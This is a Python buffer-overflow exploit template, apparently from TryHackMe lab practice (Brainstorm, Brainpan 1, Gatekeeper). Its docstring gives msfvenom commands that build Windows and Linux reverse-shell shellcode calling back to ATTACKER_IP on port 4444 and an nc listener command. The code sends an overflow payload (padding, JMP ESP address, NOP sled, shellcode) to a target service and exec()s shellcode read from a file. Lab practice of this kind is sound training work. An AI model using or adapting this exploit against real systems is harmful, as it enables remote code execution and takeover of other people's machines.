#!/usr/bin/env python3
"""
bof_exploit.py — Buffer overflow exploit template.

Before running:
1. Set OFFSET, JMP_ESP, HOST, and PORT.
2. Generate shellcode with msfvenom and save to shellcode.txt:

   Windows target:
   msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 EXITFUNC=thread -b '\x00' -f python -v shellcode > shellcode.txt

   Linux target:
   msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b '\x00' -f python -v shellcode > shellcode.txt

3. Syntax check before firing:
   python3 -m py_compile bof_exploit.py

4. Start a listener:
   nc -lvnp 4444

Used in: Brainstorm, Brainpan 1, Gatekeeper (TryHackMe)
"""
import socket

HOST = "TARGET_IP"
PORT = 9999
OFFSET = 0                      # Set to your confirmed offset
JMP_ESP = b"\x00\x00\x00\x00"  # Replace with JMP ESP address (little-endian)
NOPS = b"\x90" * 32
SHELLCODE_FILE = "shellcode.txt"

exec(open(SHELLCODE_FILE, "r").read())

payload = b"A" * OFFSET
payload += JMP_ESP
payload += NOPS
payload += shellcode

print(f"[*] Target: {HOST}:{PORT}")
print(f"[*] Payload length: {len(payload)} bytes")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("[*] Payload sent.")
